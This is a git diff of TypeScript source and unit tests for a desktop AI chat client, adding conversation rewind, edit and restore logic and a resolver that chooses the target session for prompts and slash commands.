+  // mechanism — `prompt.submit` with `truncate_before_user_ordinal` drops that
+  // user turn and everything after it from the session history, then the same
+  // text is submitted as a fresh turn. Callers confirm before invoking; errors
+  // are rethrown so callers can surface failures. Idle rewinds submit directly:
+  // interrupting an idle agent can leave a stale interrupt flag that cancels the
+  // fresh turn. Live/stuck turns interrupt first, and a raced "session busy"
+  // response interrupts + retries through the shared busy gate.
+  const submitRewindPrompt = useCallback(
+    (sessionId: string, text: string, truncateOrdinal: number | undefined, interruptFirst: boolean) =>
+      runRewindSubmit(requestGateway, sessionId, text, truncateOrdinal, interruptFirst, {
+        storedSessionId: selectedStoredSessionIdRef.current,
+        onSessionRecovered: recoveredId => {
+          activeSessionIdRef.current = recoveredId
+          setActiveSessionId(recoveredId)
+        }
+      }),
+    [activeSessionIdRef, requestGateway, selectedStoredSessionIdRef]
+  )
+
+  const restoreToMessage = useCallback(
+    async (messageId: string, target?: RestoreMessageTarget) => {
+      // Ref, not the closure-captured prop — a rewind is destructive, so a
+      // stale target truncates a conversation the user did not ask to rewind.
+      const sessionId = activeSessionIdRef.current
+
+      if (!sessionId) {
+        throw new Error('No active session to restore.')
+      }
+
+      const messages = $messages.get()
+      const plan = planRestore(messages, messageId, target)
+
+      // The turns we're discarding may have spawned todos and background
+      // processes; they belong to the abandoned timeline, so wipe their status
+      // rows (and kill the live processes) before the fresh run repopulates.
+      clearSessionTodos(sessionId)
+      resetSessionBackground(sessionId)
+      clearPreviewArtifacts(sessionId)
+
+      clearNotifications()
+      setMutableRef(busyRef, true)
+      setBusy(true)
+      setAwaitingResponse(true)
+      updateSessionState(sessionId, state => applyRewindOptimistic(state, plan.sourceIndex))
+
+      try {
+        await submitRewindPrompt(sessionId, plan.text, plan.truncateOrdinal, busyRef.current || $busy.get())
+      } catch (err) {
+        // The rewind never landed (e.g. the gateway stayed busy past the retry
+        // deadline). Roll the optimistic truncation back to the full original
+        // history so the UI doesn't desync from what's persisted — leaving it
+        // truncated is what made subsequent sends look duplicative.
+        setMutableRef(busyRef, false)
+        setBusy(false)
+        setAwaitingResponse(false)
+        updateSessionState(sessionId, state => ({
+          ...state,
+          busy: false,
+          awaitingResponse: false,
+          messages
+        }))
+        throw err
+      }
+    },
+    [activeSessionIdRef, busyRef, submitRewindPrompt, updateSessionState]
+  )
+
+  const editMessage = useCallback(
+    async (edited: AppendMessage) => {
+      // Ref, not the closure-captured prop — an edit rewinds and resubmits, so
+      // a stale target rewrites the wrong session's history.
+      const sessionId = activeSessionIdRef.current
+      const messages = $messages.get()
+      const plan = sessionId ? planEdit(messages, edited) : null
+
+      if (!sessionId || !plan) {
+        return
+      }
+
+      // Sending an edit is a revert: rewind to this prompt and re-run with the
+      // new text (submitRewindPrompt interrupts a live turn first). Same as
+      // restore, so drop the abandoned timeline's todos/background rows before
+      // the re-run repopulates them.
+      clearSessionTodos(sessionId)
+      resetSessionBackground(sessionId)
+      clearPreviewArtifacts(sessionId)
+
+      clearNotifications()
+      setMutableRef(busyRef, true)
+      setBusy(true)
+      setAwaitingResponse(true)
+      updateSessionState(sessionId, state => applyRewindOptimistic(state, plan.sourceIndex, plan.editedMessage))
+
+      const isStaleTargetError = (err: unknown) =>
+        /no longer in session history|not in session history/i.test(err instanceof Error ? err.message : String(err))
+
+      try {
+        await submitRewindPrompt(sessionId, plan.text, plan.truncateOrdinal, busyRef.current || $busy.get())
+      } catch (err) {
+        let surfaced = err
+
+        if (!plan.isFailedTurn && isStaleTargetError(err)) {
+          try {
+            // Already interrupted on the first attempt — submit as a plain resend.
+            await submitRewindPrompt(sessionId, plan.text, undefined, false)
+
+            return
+          } catch (retryErr) {
+            surfaced = retryErr
+          }
+        }
+
+        // Roll the optimistic edit/truncation back to the original history so the
+        // UI stays in sync with what's persisted instead of stranding a partial
+        // timeline.
+        setMutableRef(busyRef, false)
+        setBusy(false)
+        setAwaitingResponse(false)
+        updateSessionState(sessionId, state => ({ ...state, busy: false, awaitingResponse: false, messages }))
+        notifyError(surfaced, copy.editFailed)
+      }
+    },
+    [activeSessionIdRef, busyRef, copy.editFailed, submitRewindPrompt, updateSessionState]
+  )
+
+  const handleThreadMessagesChange = useCallback(
+    (nextMessages: readonly ThreadMessage[]) => {
+      const sessionId = activeSessionIdRef.current
+
+      if (!sessionId) {
+        return
+      }
+
+      updateSessionState(sessionId, state => applyBranchVisibility(state, nextMessages))
+    },
+    [activeSessionIdRef, updateSessionState]
+  )
+
+  return {
+    cancelRun,
+    editMessage,
+    // Session tiles route their slash input here (targets THEIR session via
+    // options.sessionId; app-level effects — branch, handoff — act on main).
+    executeSlashCommand,
+    handleThreadMessagesChange,
+    handoffSession,
+    reloadFromMessage,
+    restoreToMessage,
+    redirectPrompt,
+    /** @deprecated Use `redirectPrompt` — this is an active-turn redirect, not tool steer. */
+    steerPrompt: redirectPrompt,
+    submitText,
+    transcribeVoiceAudio
+  }
+}
diff --git a/ui-desktop/src/app/session/hooks/use-prompt-actions/resolve-target-session.test.ts b/ui-desktop/src/app/session/hooks/use-prompt-actions/resolve-target-session.test.ts
new file mode 100644
index 000000000..fe1b20d23
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-prompt-actions/resolve-target-session.test.ts
@@ -0,0 +1,144 @@
+import { describe, expect, it, vi } from 'vitest'
+
+import { resolveTargetSessionId } from './resolve-target-session'
+
+vi.mock('../use-session-actions/utils', () => ({
+  resolveSessionProfile: vi.fn(async () => 'work')
+}))
+
+const RECOVERED = 'rt-recovered'
+const STORED = 'stored-goal-session'
+
+function deps(overrides: Partial<Parameters<typeof resolveTargetSessionId>[0]> = {}) {
+  return {
+    activeRuntimeId: null,
+    createSession: vi.fn(async () => 'rt-brand-new'),
+    getRuntimeIdForStoredSession: () => null,
+    requestGateway: vi.fn(async () => ({ session_id: RECOVERED })) as never,
+    routedStoredSessionId: null,
+    selectedStoredSessionId: null,
+    ...overrides
+  }
+}
+
+describe('resolveTargetSessionId', () => {
+  it('resumes the routed stored session instead of minting a new one when the runtime binding is gone', async () => {
+    // The exact condition behind "/goal status says No active goal": the
+    // runtime binding was cleared (profile swap / reconnect / orphan-reap) but
+    // the durable route still names the chat carrying the goal.
+    const createSession = vi.fn(async () => 'rt-brand-new-WRONG')
+    const requestGateway = vi.fn(async () => ({ session_id: RECOVERED }))
+
+    const resolved = await resolveTargetSessionId(
+      deps({ createSession, requestGateway: requestGateway as never, routedStoredSessionId: STORED })
+    )
+
+    expect(resolved).toBe(RECOVERED)
+    expect(createSession).not.toHaveBeenCalled()
+    expect(requestGateway).toHaveBeenCalledWith('session.resume', {
+      session_id: STORED,
+      source: 'desktop',
+      profile: 'work'
+    })
+  })
+
+  it('reuses the live runtime id when the cache confirms it owns the targeted stored session', async () => {
+    const createSession = vi.fn(async () => 'rt-brand-new-WRONG')
+    const requestGateway = vi.fn(async () => ({ session_id: 'rt-resume-WRONG' }))
+
+    const resolved = await resolveTargetSessionId(
+      deps({
+        activeRuntimeId: RECOVERED,
+        createSession,
+        getRuntimeIdForStoredSession: () => RECOVERED,
+        requestGateway: requestGateway as never,
+        selectedStoredSessionId: STORED
+      })
+    )
+
+    expect(resolved).toBe(RECOVERED)
+    expect(createSession).not.toHaveBeenCalled()
+    expect(requestGateway).not.toHaveBeenCalled()
+  })
+
+  it('rejects a stale runtime id the route does not bind to the targeted session', async () => {
+    // A stale ref left over from the previous profile must not capture the
+    // command — that runs it against another profile's session. The durable
+    // route outranks the ref here.
+    const resolved = await resolveTargetSessionId(
+      deps({
+        activeRuntimeId: 'rt-wrong-profile',
+        getRuntimeIdForStoredSession: () => null,
+        routedStoredSessionId: STORED,
+        selectedStoredSessionId: STORED
+      })
+    )
+
+    expect(resolved).toBe(RECOVERED)
+  })
+
+  it('honors an explicit runtime id above everything else', async () => {
+    const createSession = vi.fn(async () => 'rt-brand-new-WRONG')
+    const requestGateway = vi.fn(async () => ({ session_id: 'rt-resume-WRONG' }))
+
+    const resolved = await resolveTargetSessionId(
+      deps({
+        createSession,
+        explicitRuntimeId: 'rt-explicit',
+        requestGateway: requestGateway as never,
+        routedStoredSessionId: STORED
+      })
+    )
+
+    expect(resolved).toBe('rt-explicit')
+    expect(createSession).not.toHaveBeenCalled()
+    expect(requestGateway).not.toHaveBeenCalled()
+  })
+
+  it('creates a session only for a genuine new-chat draft', async () => {
+    const createSession = vi.fn(async () => 'rt-brand-new')
+
+    const resolved = await resolveTargetSessionId(deps({ createSession }))
+
+    expect(resolved).toBe('rt-brand-new')
+    expect(createSession).toHaveBeenCalledTimes(1)
+  })
+
+  it('reuses the live runtime for a new-chat draft without creating a second session', async () => {
+    const createSession = vi.fn(async () => 'rt-brand-new-WRONG')
+
+    const resolved = await resolveTargetSessionId(deps({ activeRuntimeId: 'rt-live', createSession }))
+
+    expect(resolved).toBe('rt-live')
+    expect(createSession).not.toHaveBeenCalled()
+  })
+
+  it('returns null rather than forking when a targeted durable session cannot be rebound', async () => {
+    const createSession = vi.fn(async () => 'rt-brand-new-WRONG')
+
+    const requestGateway = vi.fn(async () => {
+      throw new Error('4007 session not found')
+    })
+
+    const resolved = await resolveTargetSessionId(
+      deps({ createSession, requestGateway: requestGateway as never, routedStoredSessionId: STORED })
+    )
+
+    expect(resolved).toBeNull()
+    expect(createSession).not.toHaveBeenCalled()
+  })
+
+  it('prefers the routed stored session over a differing selected one', async () => {
+    const requestGateway = vi.fn(async () => ({ session_id: RECOVERED }))
+
+    await resolveTargetSessionId(
+      deps({
+        requestGateway: requestGateway as never,
+        routedStoredSessionId: STORED,
+        selectedStoredSessionId: 'stored-stale-selection'
+      })
+    )
+
+    expect(requestGateway).toHaveBeenCalledWith('session.resume', expect.objectContaining({ session_id: STORED }))
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-prompt-actions/resolve-target-session.ts b/ui-desktop/src/app/session/hooks/use-prompt-actions/resolve-target-session.ts
new file mode 100644
index 000000000..93dc4f448
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-prompt-actions/resolve-target-session.ts
@@ -0,0 +1,111 @@
+import { resolveSessionProfile } from '../use-session-actions/utils'
+
+import type { GatewayRequest } from './utils'
+
+/**
+ * Resolve the runtime session a submit or slash command must target.
+ *
+ * Both prompt pipelines need this answer and they must agree: `submit.ts`
+ * sends the user's text into it, and `slash.ts` runs backend commands against
+ * it. Per-session backend state — `/goal` (persisted in SessionDB `state_meta`
+ * under `goal:<session_id>`), usage, status, yolo — is keyed by that id, so a
+ * pipeline that resolves it differently reads and writes a DIFFERENT session's
+ * state than the one the user is looking at.
+ *
+ * That is the bug this exists to prevent. `slash.ts` used to resolve with a
+ * bare `hint || activeRef || createSession()`, so whenever the runtime binding
+ * was momentarily absent — profile swap, reconnect, orphan-reap, request
+ * timeout — a slash command silently MINTED A NEW SESSION and ran against it.
+ * `/goal <text>` then set a goal on the chat, and a following `/goal status`
+ * reported "No active goal" because it was asking a session that had just been
+ * created. Same hole for every exec/rpc command (`/usage`, `/status`,
+ * `/tools`, …), not just `/goal`.
+ *
+ * The ladder (highest-trust rung first), mirroring `submit.ts`:
+ *
+ *   1. An explicit runtime id from the caller (queue drain / tile) — always
+ *      authoritative.
+ *   2. The live runtime ref. A durable ROUTE outranks it: when the URL names a
+ *      conversation whose runtime binding the cache does not confirm, the ref
+ *      is stale or cross-wired (often from the previous profile) and must not
+ *      capture the command. With no route in play the ref is authoritative.
+ *   3. `session.resume` on the routed (else selected) stored session,
+ *      re-registered on the profile that OWNS it — never whichever profile
+ *      happens to be live, which forks the conversation into the wrong
+ *      state.db (#67603).
+ *   4. Only a genuine new-chat draft — no durable session in play at all —
+ *      creates a session.
+ *
+ * Returns null when a durable conversation was targeted but its runtime could
+ * not be rebound. Callers surface that instead of silently retargeting: a
+ * command that runs against the wrong session is worse than one that reports
+ * it could not run.
+ */
+export interface ResolveTargetSessionDeps {
+  activeRuntimeId: null | string
+  createSession: () => Promise<null | string>
+  explicitRuntimeId?: null | string
+  getRuntimeIdForStoredSession: (storedSessionId: string) => null | string
+  requestGateway: GatewayRequest
+  routedStoredSessionId: null | string
+  selectedStoredSessionId: null | string
+}
+
+export async function resolveTargetSessionId(deps: ResolveTargetSessionDeps): Promise<null | string> {
+  const {
+    activeRuntimeId,
+    createSession,
+    explicitRuntimeId,
+    getRuntimeIdForStoredSession,
+    requestGateway,
+    routedStoredSessionId,
+    selectedStoredSessionId
+  } = deps
+
+  // 1. An explicit target always wins — the caller knows which session it means.
+  if (explicitRuntimeId) {
+    return explicitRuntimeId
+  }
+
+  // A route whose runtime binding is incomplete or cross-wired outranks the
+  // live ref: a profile swap / reconnect can leave the previous profile's
+  // runtime active while the URL still names the conversation on screen.
+  // Matches submit.ts's `routedSessionNeedsResume`.
+  const routedNeedsResume = Boolean(
+    routedStoredSessionId &&
+    (selectedStoredSessionId !== routedStoredSessionId ||
+      !activeRuntimeId ||
+      activeRuntimeId !== getRuntimeIdForStoredSession(routedStoredSessionId))
+  )
+
+  // 2. Trust the live runtime unless the durable route disagrees with it.
+  if (activeRuntimeId && !routedNeedsResume) {
+    return activeRuntimeId
+  }
+
+  // 3. Rebind the durable conversation on its owning profile. The route wins
+  //    over a stale selection; otherwise continue whatever is selected.
+  const storedTarget = routedNeedsResume ? routedStoredSessionId : (selectedStoredSessionId ?? routedStoredSessionId)
+
+  if (storedTarget) {
+    try {
+      const profile = await resolveSessionProfile(storedTarget)
+
+      const resumed = await requestGateway<{ session_id?: string }>('session.resume', {
+        session_id: storedTarget,
+        source: 'desktop',
+        ...(profile ? { profile } : {})
+      })
+
+      return resumed?.session_id || null
+    } catch {
+      // A targeted durable conversation whose runtime cannot be rebound must
+      // NOT fall through to createSession() — that is precisely the fork this
+      // resolver exists to prevent (#55578 class).
+      return null
+    }
+  }
+
+  // 4. A genuine new-chat draft: nothing durable is in play.
+  return activeRuntimeId || (await createSession())
+}
diff --git a/ui-desktop/src/app/session/hooks/use-prompt-actions/rewind.test.ts b/ui-desktop/src/app/session/hooks/use-prompt-actions/rewind.test.ts
new file mode 100644
index 000000000..9d1b0347a
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-prompt-actions/rewind.test.ts
@@ -0,0 +1,33 @@
+import { describe, expect, it } from 'vitest'
+
+import { truncateSubmitParams } from './rewind'
+
+describe('truncateSubmitParams', () => {
+  it('omits truncation fields when no ordinal is set', () => {
+    expect(truncateSubmitParams(undefined)).toEqual({})
+  })
+
+  it('confirms intent for every ordinal, and the empty edge only for ordinal 0', () => {
+    expect(truncateSubmitParams(0)).toEqual({
+      confirm_truncate: true,
+      truncate_before_user_ordinal: 0,
+      confirm_empty_truncate: true
+    })
+    expect(truncateSubmitParams(1)).toEqual({
+      confirm_truncate: true,
+      truncate_before_user_ordinal: 1
+    })
+  })
+
+  it('never sends an ordinal without the intent flag the gateway requires', () => {
+    // The gateway drops history only for a submit that declares itself a
+    // rewind. An ordinal built here without confirm_truncate would be refused
+    // (and, on an older gateway, would truncate silently).
+    for (const ordinal of [0, 1, 2, 7]) {
+      const params = truncateSubmitParams(ordinal)
+
+      expect(params.truncate_before_user_ordinal).toBe(ordinal)
+      expect(params.confirm_truncate).toBe(true)
+    }
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-prompt-actions/rewind.ts b/ui-desktop/src/app/session/hooks/use-prompt-actions/rewind.ts
new file mode 100644
index 000000000..345dd123f
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-prompt-actions/rewind.ts
@@ -0,0 +1,325 @@
+/**
+ * Shared rewind/interrupt core for the prompt verbs — the ONE implementation
+ * of the submit primitive + the pure message math behind cancel / reload /
+ * restore / edit / branch-visibility. Both the primary chat (`index.ts`) and
+ * session tiles (`session-tile-actions.ts`) build on these so the two surfaces
+ * can't silently diverge (the tile's "sends only once" busy-ref bug was exactly
+ * that class of drift). The functions here are PURE — planners compute from a
+ * `ChatMessage[]`, optimistic transforms map a `ClientSessionState` to the next
+ * — so each caller keeps its own state-write + error-handling wiring.
+ */
+
+import type { AppendMessage, ThreadMessage } from '@assistant-ui/react'
+
+import type { ClientSessionState } from '@/app/types'
+import { PROMPT_SUBMIT_REQUEST_TIMEOUT_MS } from '@/clawcodex'
+import { branchGroupForUser, type ChatMessage, chatMessageText, textPart } from '@/lib/chat-messages'
+
+import {
+  appendText,
+  isSessionBusyError,
+  visibleUserIndexAtOrdinal,
+  visibleUserOrdinal,
+  withSessionBusyRetry,
+  withSessionNotFoundResume
+} from './utils'
+
+type RequestGateway = <T = unknown>(method: string, params?: Record<string, unknown>, timeoutMs?: number) => Promise<T>
+
+/**
+ * Build `prompt.submit` truncation params. `confirm_truncate` states that this
+ * submit really is a rewind/edit/regenerate: the gateway drops history only for
+ * a submit that says so, so a leftover ordinal riding along on an ordinary send
+ * cannot delete the transcript. Ordinal 0 additionally truncates to an empty
+ * transcript (restore/regenerate the first user turn), which the gateway gates
+ * behind `confirm_empty_truncate` on top of that.
+ */
+export function truncateSubmitParams(truncateOrdinal: number | undefined): Record<string, unknown> {
+  if (truncateOrdinal === undefined) {
+    return {}
+  }
+
+  return {
+    confirm_truncate: true,
+    truncate_before_user_ordinal: truncateOrdinal,
+    ...(truncateOrdinal === 0 ? { confirm_empty_truncate: true } : {})
+  }
+}
+
+/**
+ * Rewind a turn: `prompt.submit` with an optional `truncate_before_user_ordinal`
+ * (drops that user turn + everything after). Idle rewinds submit directly
+ * (interrupting an idle agent can leave a stale interrupt flag that cancels the
+ * fresh turn); live/stuck turns interrupt first, and a raced "session busy"
+ * response interrupts + retries through the shared busy gate.
+ *
+ * A rewind runs right after `cancelRun`, and interrupting can drop the
+ * gateway's in-memory session — so the follow-up submit hits a dead runtime id
+ * and used to surface a bare "session not found" ("Restore checkpoint" failing
+ * after a stop). Pass `recovery` so a stale id re-registers and retries like
+ * every other session-scoped RPC.
+ */
+export async function runRewindSubmit(
+  requestGateway: RequestGateway,
+  sessionId: string,
+  text: string,
+  truncateOrdinal: number | undefined,
+  interruptFirst: boolean,
+  recovery?: { storedSessionId?: null | string; onSessionRecovered?: (sessionId: string) => void }
+): Promise<void> {
+  // Recovery may rebind the live id mid-flight; interrupt/submit must both
+  // follow it rather than pinning the dead one.
+  let liveSessionId = sessionId
+
+  const interrupt = async () => {
+    try {
+      await requestGateway('session.interrupt', { session_id: liveSessionId })
+    } catch {
+      // Best-effort. The submit path still gates on the gateway state.
+    }
+  }
+
+  const submitFor = (targetId: string) =>
+    requestGateway(
+      'prompt.submit',
+      {
+        session_id: targetId,
+        text,
+        ...truncateSubmitParams(truncateOrdinal)
+      },
+      PROMPT_SUBMIT_REQUEST_TIMEOUT_MS
+    )
+
+  const submit = async () => {
+    const { sessionId: usedId } = await withSessionNotFoundResume(liveSessionId, recovery?.storedSessionId, submitFor, {
+      requestGateway,
+      onRecovered: recoveredId => {
+        liveSessionId = recoveredId
+        recovery?.onSessionRecovered?.(recoveredId)
+      }
+    })
+
+    liveSessionId = usedId
+  }
+
+  if (interruptFirst) {
+    await interrupt()
+  }
+
+  try {
+    await submit()
+  } catch (err) {
+    if (!isSessionBusyError(err)) {
+      throw err
+    }
+
+    await interrupt()
+    await withSessionBusyRetry(submit)
+  }
+}
+
+/** Cancel/stop finalize: drop empty pending/stream placeholders, un-pend the rest. */
+export function finalizeInterruptedMessages(messages: ChatMessage[], streamId?: null | string): ChatMessage[] {
+  return messages
+    .filter(message => !((message.pending || message.id === streamId) && !chatMessageText(message).trim()))
+    .map(message => (message.pending || message.id === streamId ? { ...message, pending: false } : message))
+}
+
+// ---------------------------------------------------------------------------
+// Reload (regenerate)
+// ---------------------------------------------------------------------------
+
+export interface ReloadPlan {
+  branchGroupId: string
+  text: string
+  truncateOrdinal: number
+  userIndex: number
+}
+
+/** The user turn to re-run for a reload from `parentId` (or the last turn). */
+export function planReload(messages: ChatMessage[], parentId: null | string): null | ReloadPlan {
+  const parentIndex = parentId ? messages.findIndex(m => m.id === parentId) : messages.length - 1
+
+  const userBack =
+    parentIndex >= 0 ? [...messages.slice(0, parentIndex + 1)].reverse().findIndex(m => m.role === 'user') : -1
+
+  if (userBack < 0) {
+    return null
+  }
+
+  const userIndex = parentIndex - userBack
+  const userMessage = messages[userIndex]
+  const text = userMessage ? chatMessageText(userMessage).trim() : ''
+
+  if (!userMessage || !text) {
+    return null
+  }
+
+  const targetAssistant =
+    parentId && messages[parentIndex]?.role === 'assistant'
+      ? messages[parentIndex]
+      : messages.slice(userIndex + 1).find(m => m.role === 'assistant')
+
+  return {
+    branchGroupId: targetAssistant?.branchGroupId ?? branchGroupForUser(userMessage),
+    text,
+    truncateOrdinal: visibleUserOrdinal(messages, userIndex),
+    userIndex
+  }
+}
+
+/** Optimistic reload state: keep the user turn, hide the branch's assistants. */
+export function applyReloadOptimistic(state: ClientSessionState, plan: ReloadPlan): ClientSessionState {
+  const nextUserIndex = state.messages.findIndex((m, i) => i > plan.userIndex && m.role === 'user')
+  const end = nextUserIndex < 0 ? state.messages.length : nextUserIndex
+
+  return {
+    ...state,
+    awaitingResponse: true,
+    busy: true,
+    interrupted: false,
+    messages: [
+      ...state.messages.slice(0, plan.userIndex + 1),
+      ...state.messages
+        .slice(plan.userIndex + 1, end)
+        .map(m => (m.role === 'assistant' ? { ...m, branchGroupId: plan.branchGroupId, hidden: true } : m))
+    ],
+    pendingBranchGroup: plan.branchGroupId,
+    sawAssistantPayload: false
+  }
+}
+
+// ---------------------------------------------------------------------------
+// Restore (rewind checkpoint)
+// ---------------------------------------------------------------------------
+
+export interface RestoreTarget {
+  text?: string
+  userOrdinal?: null | number
+}
+
+export interface RestorePlan {
+  sourceIndex: number
+  text: string
+  truncateOrdinal: number
+}
+
+/** Resolve the user turn to rewind to; throws with a user-facing reason. */
+export function planRestore(messages: ChatMessage[], messageId: string, target?: RestoreTarget): RestorePlan {
+  const idIndex = messages.findIndex(m => m.id === messageId && m.role === 'user')
+
+  const fallbackIndex =
+    target?.userOrdinal === null || target?.userOrdinal === undefined
+      ? -1
+      : visibleUserIndexAtOrdinal(messages, target.userOrdinal)
+
+  const sourceIndex = idIndex >= 0 ? idIndex : fallbackIndex
+  const source = messages[sourceIndex]
+
+  if (!source || source.role !== 'user') {
+    throw new Error('Could not find the message to restore.')
+  }
+
+  const text = (chatMessageText(source).trim() || target?.text?.trim() || '').trim()
+
+  if (!text) {
+    throw new Error('Cannot restore an empty message.')
+  }
+
+  const truncateOrdinal =
+    target?.userOrdinal === null || target?.userOrdinal === undefined
+      ? visibleUserOrdinal(messages, sourceIndex)
+      : target.userOrdinal
+
+  return { sourceIndex, text, truncateOrdinal }
+}
+
+// ---------------------------------------------------------------------------
+// Edit (revert + resubmit with new text)
+// ---------------------------------------------------------------------------
+
+export interface EditPlan {
+  editedMessage: ChatMessage
+  isFailedTurn: boolean
+  sourceIndex: number
+  text: string
+  truncateOrdinal: number | undefined
+}
+
+/** Resolve the edited user turn, or null when nothing changed / invalid. */
+export function planEdit(messages: ChatMessage[], edited: AppendMessage): EditPlan | null {
+  const sourceId = edited.sourceId || edited.parentId
+  const text = appendText(edited)
+
+  if (!sourceId || !text || edited.role !== 'user') {
+    return null
+  }
+
+  const sourceIndex = messages.findIndex(m => m.id === sourceId)
+  const source = messages[sourceIndex]
+
+  if (!source || source.role !== 'user' || chatMessageText(source).trim() === text) {
+    return null
+  }
+
+  // Failed turn: the optimistic user msg never reached the gateway, so a
+  // truncate-by-ordinal would 422 — resubmit plainly instead.
+  const nextMessage = messages[sourceIndex + 1]
+  const isFailedTurn = nextMessage?.role === 'assistant' && Boolean(nextMessage.error)
+
+  return {
+    editedMessage: { ...source, parts: [textPart(text)] },
+    isFailedTurn,
+    sourceIndex,
+    text,
+    truncateOrdinal: isFailedTurn ? undefined : visibleUserOrdinal(messages, sourceIndex)
+  }
+}
+
+/** Optimistic rewind-to state for restore/edit: drop everything after the
+ *  source turn (edit swaps in the edited message; restore keeps the original). */
+export function applyRewindOptimistic(
+  state: ClientSessionState,
+  sourceIndex: number,
+  editedMessage?: ChatMessage
+): ClientSessionState {
+  return {
+    ...state,
+    awaitingResponse: true,
+    busy: true,
+    interrupted: false,
+    messages: editedMessage
+      ? [...state.messages.slice(0, sourceIndex), editedMessage]
+      : state.messages.slice(0, sourceIndex + 1),
+    pendingBranchGroup: null,
+    sawAssistantPayload: false
+  }
+}
+
+// ---------------------------------------------------------------------------
+// Branch visibility (assistant-ui hides non-active branches)
+// ---------------------------------------------------------------------------
+
+/** Sync each assistant branch message's `hidden` to what the thread renders. */
+export function applyBranchVisibility(state: ClientSessionState, next: readonly ThreadMessage[]): ClientSessionState {
+  const visibleIds = new Set(next.map(m => m.id))
+  let changed = false
+
+  const messages = state.messages.map(message => {
+    if (message.role !== 'assistant' || !message.branchGroupId) {
+      return message
+    }
+
+    const hidden = !visibleIds.has(message.id)
+
+    if (message.hidden === hidden) {
+      return message
+    }
+
+    changed = true
+
+    return { ...message, hidden }
+  })
+
+  return changed ? { ...state, messages } : state
+}
diff --git a/ui-desktop/src/app/session/hooks/use-prompt-actions/slash.ts b/ui-desktop/src/app/session/hooks/use-prompt-actions/slash.ts
new file mode 100644
index 000000000..b9a955a6f
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-prompt-actions/slash.ts
@@ -0,0 +1,1116 @@
+import { skillInvocationText } from '@clawcodex/shared'
+import { type MutableRefObject, useCallback, useRef } from 'react'
+
+import { getProfiles } from '@/clawcodex'
+import type { Translations } from '@/i18n'
+import { type ChatMessage, toChatMessages } from '@/lib/chat-messages'
+import { parseCommandDispatch, parseSlashCommand, sessionTitle } from '@/lib/chat-runtime'
+import {
+  type CommandsCatalogLike,
+  type DesktopActionId,
+  type DesktopCommandSurface,
+  type DesktopPickerId,
+  desktopSlashUnavailableMessage,
+  isDesktopSlashCommand,
+  resolveDesktopCommand
+} from '@/lib/desktop-slash-commands'
+import { isMissingRpcMethod } from '@/lib/gateway-rpc'
+import { setSessionYolo } from '@/lib/yolo-session'
+import { openCommandPalettePage } from '@/store/command-palette'
+import { setComposerDraft } from '@/store/composer'
+import { enqueueQueuedPrompt } from '@/store/composer-queue'
+import { applyGoalStatusText } from '@/store/goals'
+import { dismissNotification, notify, notifyError } from '@/store/notifications'
+import { setPetScale } from '@/store/pet-gallery'
+import { $petGenInput, openPetGenerate } from '@/store/pet-generate'
+import { $activeGatewayProfile, $newChatProfile, ensureGatewayProfile, normalizeProfileKey } from '@/store/profile'
+import {
+  $connection,
+  $sessions,
+  $yoloActive,
+  resolveComposerSessionKey,
+  setActiveSessionId,
+  setCurrentUsage,
+  setModelPickerOpen,
+  setSessionPickerOpen,
+  setSessions,
+  setYoloActive
+} from '@/store/session'
+import { $sessionStates } from '@/store/session-states'
+import {
+  applyWakeStartResult,
+  applyWakeStatus,
+  applyWakeStopResult,
+  type WakeInputDeviceStatus,
+  type WakeStartResponse,
+  type WakeStatusResponse,
+  type WakeStopResponse
+} from '@/store/wake-word'
+
+import type {
+  BrowserManageResponse,
+  ClientSessionState,
+  SessionCompressResponse,
+  SessionTitleResponse,
+  SlashExecResponse
+} from '../../../types'
+
+import { resolveTargetSessionId } from './resolve-target-session'
+import {
+  type GatewayRequest,
+  isSessionIdCandidate,
+  isTargetSessionBusy,
+  renderCommandsCatalog,
+  renderRpcResult,
+  slashStatusText,
+  type SubmitTextOptions,
+  withSessionNotFoundResume
+} from './utils'
+
+// Manual compression is LLM-bound and routinely outlives the desktop's 30s
+// default WS request timeout on large sessions — give it the TUI client's
+// 120s RPC budget (CLAWCODEX_TUI_RPC_TIMEOUT_MS default) instead.
+const SESSION_COMPRESS_TIMEOUT_MS = 120_000
+const WAKE_START_TIMEOUT_MS = 180_000
+
+const wakeDeviceLabel = (device?: WakeInputDeviceStatus): string => {
+  if (!device) {
+    return 'system default'
+  }
+
+  const selector = device.selector
+  const name = device.name?.trim() || (selector == null ? 'system default' : String(selector))
+
+  return device.hostapi?.trim() ? `${name} (${device.hostapi.trim()})` : name
+}
+
+const renderWakeStatus = (status: WakeStatusResponse): string => {
+  const lines = [
+    'Wake Word Status',
+    `State: ${status.listening ? 'LISTENING' : 'OFF'}`,
+    `Phrase: "${status.phrase?.trim() || 'hey clawcodex'}"`,
+    `Provider: ${status.provider?.trim() || 'unknown'}`,
+    `Surface: ${status.owner_surface?.trim() || status.configured_surface?.trim() || 'auto'}`,
+    `Input: ${wakeDeviceLabel(status.input_device)}`
+  ]
+
+  if (status.audio_silent) {
+    lines.push('Audio: silent')
+  }
+
+  if (status.input_device?.error?.trim()) {
+    lines.push(`Input error: ${status.input_device.error.trim()}`)
+  }
+
+  if (status.hint?.trim()) {
+    lines.push(`Hint: ${status.hint.trim()}`)
+  }
+
+  return lines.join('\n')
+}
+
+/** Everything a slash handler needs about the invocation it's serving. */
+interface SlashActionCtx {
+  arg: string
+  command: string
+  name: string
+  recordInput: boolean
+  sessionHint?: string
+}
+
+interface SlashCommandDeps {
+  activeSessionIdRef: MutableRefObject<string | null>
+  appendSessionTextMessage: (
+    sessionId: string,
+    role: ChatMessage['role'],
+    text: string,
+    storedSessionId?: string | null
+  ) => void
+  branchCurrentSession: () => Promise<boolean>
+  busyRef: MutableRefObject<boolean>
+  copy: Translations['desktop']
+  createBackendSessionForSend: (preview?: string | null) => Promise<string | null>
+  getRoutedStoredSessionId: () => null | string
+  getRuntimeIdForStoredSession: (storedSessionId: string) => null | string
+  handleSkinCommand: (arg: string) => string
+  handoffSession: (
+    platform: string,
+    options?: { onProgress?: (state: string) => void; sessionId?: string }
+  ) => Promise<{ ok: boolean; error?: string }>
+  openMemoryGraph: () => void
+  refreshSessions: () => Promise<void>
+  requestGateway: GatewayRequest
